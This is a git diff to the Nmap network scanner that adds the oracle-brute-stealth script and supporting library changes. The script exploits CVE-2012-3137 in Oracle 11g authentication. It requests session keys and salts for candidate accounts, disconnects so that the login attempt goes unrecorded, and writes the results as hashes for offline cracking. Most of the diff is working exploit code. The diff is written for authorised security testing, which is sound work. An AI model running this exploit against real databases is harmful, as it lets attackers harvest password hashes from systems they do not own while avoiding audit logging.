diff --git a/CHANGELOG b/CHANGELOG index 75ed94bed..09c3be034 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,5 +1,8 @@ # Nmap Changelog ($Id$); -*-text-*- +o [NSE] Added oracle-brute-stealth which exploits CVE-2012-3137, a weakness + in the Oracle O5LOGIN authentication scheme. [Dhiru Kholia] + o Scans that use OS sockets (including TCP connect scan, version detection, and script scan) now use the SO_BINDTODEVICE sockopt on Linux, so that the -e option is honored. [David Fifield] diff --git a/nselib/brute.lua b/nselib/brute.lua index 8694989c0..d2c52e819 100644 --- a/nselib/brute.lua +++ b/nselib/brute.lua @@ -416,8 +416,8 @@ Engine = account_guesses = {}, options = Options:new(), } - setmetatable(o, self) - self.__index = self + setmetatable(o, self) + self.__index = self o.max_threads = stdnse.get_script_args("brute.threads") or 10 return o end, @@ -476,6 +476,7 @@ Engine = for user, pass in self.iterator do -- makes sure the credentials have not been tested before self.used_creds = self.used_creds or {} + pass = pass or "nil" if ( not(self.used_creds[user..pass]) ) then self.used_creds[user..pass] = true coroutine.yield( user, pass ) @@ -684,9 +685,9 @@ Engine = self.iterator = Iterators.credential_iterator( f ) elseif ( mode and mode == 'user' ) then - self.iterator = Iterators.user_pw_iterator( usernames, passwords ) + self.iterator = self.iterator or Iterators.user_pw_iterator( usernames, passwords ) elseif( mode and mode == 'pass' ) then - self.iterator = Iterators.pw_user_iterator( usernames, passwords ) + self.iterator = self.iterator or Iterators.pw_user_iterator( usernames, passwords ) elseif ( mode ) then return false, ("Unsupported mode: %s"):format(mode) -- Default to the pw_user_iterator in case no iterator was specified diff --git a/nselib/creds.lua b/nselib/creds.lua index ef75896c2..52b0d7101 100644 --- a/nselib/creds.lua +++ b/nselib/creds.lua @@ -114,6 +114,7 @@ State = { HOST_RESTRICTED = 128, LOCKED_VALID = 256, DISABLED_VALID = 512, + HASHED = 1024, } StateMsg = { @@ -127,6 +128,7 @@ StateMsg = { [State.HOST_RESTRICTED] = 'Valid credentials, account cannot log in from current host', [State.LOCKED_VALID] = 'Valid credentials, account locked', [State.DISABLED_VALID] = 'Valid credentials, account disabled', + [State.HASHED] = 'Hashed valid or invalid credentials', } diff --git a/nselib/tns.lua b/nselib/tns.lua index bba2cdb31..e642980b1 100644 --- a/nselib/tns.lua +++ b/nselib/tns.lua @@ -1754,6 +1754,27 @@ Helper = { self.auth_session = data["AUTH_SESSION_ID"] return true end, + + --- Steal auth data from database + -- @param user containing the Oracle user name + -- @param pass containing the Oracle user password + -- @return true on success, false on failure + -- @return err containing error message when status is false + StealthLogin = function( self, user, password ) + local data, packet, status, tns, parser + local sesskey_enc, auth_pass, auth + local auth_options = AuthOptions:new() + + status, auth = self.comm:exchTNSPacket( Packet.PreAuth:new( user, auth_options, self.os ) ) + if ( not(status) ) then + return false, auth + end + if ( auth["AUTH_SESSKEY"] ) then + return true, auth + else + return false + end + end, --- Queries the database -- diff --git a/scripts/oracle-brute-stealth.nse b/scripts/oracle-brute-stealth.nse new file mode 100644 index 000000000..9d241aab4 --- /dev/null +++ b/scripts/oracle-brute-stealth.nse @@ -0,0 +1,199 @@ +local brute = require "brute" +local coroutine = require "coroutine" +local creds = require "creds" +local io = require "io" +local nmap = require "nmap" +local shortport = require "shortport" +local stdnse = require "stdnse" +local tns = require "tns" +local unpwdb = require "unpwdb" + +local openssl = stdnse.silent_require "openssl" + +description = [[ +Exploits the CVE-2012-3137 vulnerability, a weaknes in Oracle's O5LOGIN authentication scheme. +The vulnerability exists in Oracle 11g R1,R2 and allows linking the session key to a password hash. +When initiating an authentication attempt as a valid user the server will respond with a session key and salt. +Once received the script will disconnect the connection thereby not recording the login attempt. +The session key and salt can then be used to brute force the users password. +]] + +--- +-- @usage +-- nmap --script oracle-brute-stealth -p 1521 --script-args oracle-brute-stealth.sid=ORCL +-- +-- @output +-- PORT STATE SERVICE REASON +-- 1521/tcp open oracle syn-ack +-- | oracle-brute-stealth: +-- | Accounts +-- | dummy:$o5logon$1245C95384E15E7F0C893FCD1893D8E19078170867E892CE86DF90880E09FAD3B4832CBCFDAC1A821D2EA8E3D2209DB6*4202433F49DE9AE72AE2 - Hashed valid or invalid credentials +-- | nmap:$o5logon$D1B28967547DBA3917D7B129E339F96156C8E2FE5593D42540992118B3475214CA0F6580FD04C2625022054229CAAA8D*7BCF2ACF08F15F75B579 - Hashed valid or invalid credentials +-- | Statistics +-- |_ Performed 2 guesses in 1 seconds, average tps: 2 +-- +-- @args oracle-brute-stealth.sid - the instance against which to perform password guessing +-- @args oracle-brute-stealth.nodefault - do not attempt to guess any Oracle default accounts +-- @args oracle-brute-stealth.accounts - a list of comma separated accounts to test +-- @args oracle-brute-stealth.johnfile - if specified the hashes will be written to this file to be used by JtR + +-- +-- Version 0.1 +-- Created 06/10/2012 - v0.1 - created by Dhiru Kholia +-- +-- Summary +-- ------- +-- x The Driver class contains the driver implementation used by the brute +-- library + +author = "Dhiru Kholia" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"intrusive", "brute"} + +portrule = shortport.port_or_service(1521, "oracle-tns", "tcp", "open") + +local ConnectionPool = {} +local arg_johnfile = stdnse.get_script_args(SCRIPT_NAME .. '.johnfile') +local johnfile + +Driver = +{ + + new = function(self, host, port, sid ) + local o = { host = host, port = port, sid = sid } + setmetatable(o, self) + self.__index = self + return o + end, + + --- Connects performs protocol negotiation + -- + -- @return true on success, false on failure + connect = function( self ) + local MAX_RETRIES = 10 + local tries = MAX_RETRIES + + self.helper = ConnectionPool[coroutine.running()] + if ( self.helper ) then return true end + + self.helper = tns.Helper:new( self.host, self.port, self.sid ) + + -- This loop is intended for handling failed connections + -- A connection may fail for a number of different reasons. + -- For the moment, we're just handling the error code 12520 + -- + -- Error 12520 has been observed on Oracle XE and seems to + -- occur when a maximum connection count is reached. + local status, data + repeat + if ( tries < MAX_RETRIES ) then + stdnse.print_debug(2, "%s: Attempting to re-connect (attempt %d of %d)", SCRIPT_NAME, MAX_RETRIES - tries, MAX_RETRIES) + end + status, data = self.helper:Connect() + if ( not(status) ) then + stdnse.print_debug(2, "%s: ERROR: An Oracle %s error occured", SCRIPT_NAME, data) + self.helper:Close() + else + break + end + tries = tries - 1 + stdnse.sleep(1) + until( tries == 0 or data ~= "12520" ) + + if ( status ) then + ConnectionPool[coroutine.running()] = self.helper + end + + return status, data + end, + + --- Attempts to login to the Oracle server + -- + -- @param username string containing the login username + -- @param password string containing the login password + -- @return status, true on success, false on failure + -- @return brute.Error object on failure + -- brute.Account object on success + login = function( self, username, password ) + local status, data = self.helper:StealthLogin( username, password ) + + if ( data["AUTH_VFR_DATA"] ) then + hash = string.format("$o5logon$%s*%s", data["AUTH_SESSKEY"], data["AUTH_VFR_DATA"]) + if ( johnfile ) then + johnfile:write(("%s:%s\n"):format(username,hash)) + end + return true, brute.Account:new(username, hash, creds.State.HASHED) + else + return false, brute.Error:new( data ) + end + + + end, + + --- Disconnects and terminates the Oracle TNS communication + disconnect = function( self ) + return true + end, + +} + + +action = function(host, port) + local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst" + local sid = stdnse.get_script_args(SCRIPT_NAME .. '.sid') or stdnse.get_script_args('tns.sid') + local engine = brute.Engine:new(Driver, host, port, sid) + local arg_accounts = stdnse.get_script_args(SCRIPT_NAME .. '.accounts') + local mode = arg_accounts and "accounts" or "default" + + if ( not(sid) ) then + return "\n ERROR: Oracle instance not set (see oracle-brute-stealth.sid or tns.sid)" + end + + if ( arg_johnfile ) then + johnfile = io.open(arg_johnfile, "w") + if ( not(johnfile) ) then + return ("\n ERROR: Failed to open %s for writing"):format(johnfile) + end + end + + local helper = tns.Helper:new( host, port, sid ) + local status, result = helper:Connect() + if ( not(status) ) then + return "\n ERROR: Failed to connect to oracle server" + end + helper:Close() + + if ( stdnse.get_script_args('userdb') or + stdnse.get_script_args('passdb') or + stdnse.get_script_args('oracle-brute-stealth.nodefault') or + stdnse.get_script_args('brute.credfile') ) then + mode = nil + end + + if ( mode == "default" ) then + local f = nmap.fetchfile(DEFAULT_ACCOUNTS) + if ( not(f) ) then + return ("\n ERROR: Failed to find %s"):format(DEFAULT_ACCOUNTS) + end + + f = io.open(f) + if ( not(f) ) then + return ("\n ERROR: Failed to open %s"):format(DEFAULT_ACCOUNTS) + end + + engine.iterator = brute.Iterators.credential_iterator(f) + elseif( "accounts" == mode ) then + engine.iterator = unpwdb.table_iterator(stdnse.strsplit(",%s*", arg_accounts)) + end + + engine.options.useraspass = false + engine.options.mode = "user" + engine.options.script_name = SCRIPT_NAME + status, result = engine:start() + + if ( johnfile ) then + johnfile:close() + end + + return result +end